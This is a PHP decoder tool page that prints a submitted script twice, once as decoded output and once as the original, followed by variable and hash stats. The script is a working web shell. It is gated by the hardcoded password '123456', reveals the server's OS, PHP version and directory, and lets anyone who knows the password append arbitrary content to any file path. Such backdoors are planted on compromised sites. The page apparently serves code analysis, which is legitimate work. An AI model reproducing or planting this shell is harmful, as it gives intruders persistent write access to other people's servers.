Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></titl..

Decoded Output download

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
</head>

<body>
<?php 
$password = isset($_POST['password']) ? $_POST['password'] : '';
$get = isset($_GET['id']) ? $_GET['id'] : '';
$pass = '123456';
if($password==$pass){
echo ':' .PHP_OS.'<br />';
echo 'PHP:'.PHP_VERSION.'<br />';
echo '<b style="color:red;">:'.__DIR__ .'\</b>';echo'<br /><hr />';
?>
<form action="?id=<?php echo $pass?>" method="post">
:<input type="text" name="lujin"  style="width:300px;"/><br /><br />
<b>: </b><br /> <textarea name="neirong" style="width:500px; height:400px;"></textarea><hr/>
<input  type="submit" value="------" style=" margin-left:200px;" /></p>
</form>
<?php exit;}elseif(isset($get) && !empty($get)  && $get==$pass){
        $lujin = @$_POST['lujin'];
        $neirong = @$_POST['neirong'];
         if (empty($lujin) || empty($neirong)) {
        echo '';
        exit;        
        }
        $fh = @fopen($lujin,'a');
        @fwrite($fh,$neirong);
        echo '';
        echo '<hr />';
        echo ':'.$lujin;
        exit;
}?>
<form action="" method="post" style=" margin-top:200px; margin-left:40%;"><p>
: <input type="password" name="password" /></p>
<p>
<input type="submit" value="" style=" margin-left:100px;"/>
</p>
</form>
</body>
</html>

Did this file decode correctly?

Original Code

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
</head>

<body>
<?php 
$password = isset($_POST['password']) ? $_POST['password'] : '';
$get = isset($_GET['id']) ? $_GET['id'] : '';
$pass = '123456';
if($password==$pass){
echo ':' .PHP_OS.'<br />';
echo 'PHP:'.PHP_VERSION.'<br />';
echo '<b style="color:red;">:'.__DIR__ .'\\</b>';echo'<br /><hr />';
?>
<form action="?id=<?php echo $pass?>" method="post">
:<input type="text" name="lujin"  style="width:300px;"/><br /><br />
<b>: </b><br /> <textarea name="neirong" style="width:500px; height:400px;"></textarea><hr/>
<input  type="submit" value="------" style=" margin-left:200px;" /></p>
</form>
<?php exit;}elseif(isset($get) && !empty($get)  && $get==$pass){
        $lujin = @$_POST['lujin'];
        $neirong = @$_POST['neirong'];
         if (empty($lujin) || empty($neirong)) {
        echo '';
        exit;        
        }
        $fh = @fopen($lujin,'a');
        @fwrite($fh,$neirong);
        echo '';
        echo '<hr />';
        echo ':'.$lujin;
        exit;
}?>
<form action="" method="post" style=" margin-top:200px; margin-left:40%;"><p>
: <input type="password" name="password" /></p>
<p>
<input type="submit" value="" style=" margin-left:100px;"/>
</p>
</form>
</body>
</html>

Function Calls

None

Variables

$get
$pass 123456
$password

Stats

MD5 87f11a5b6c18520eb77bfdc565530c43
Eval Count 0
Decode Time 123 ms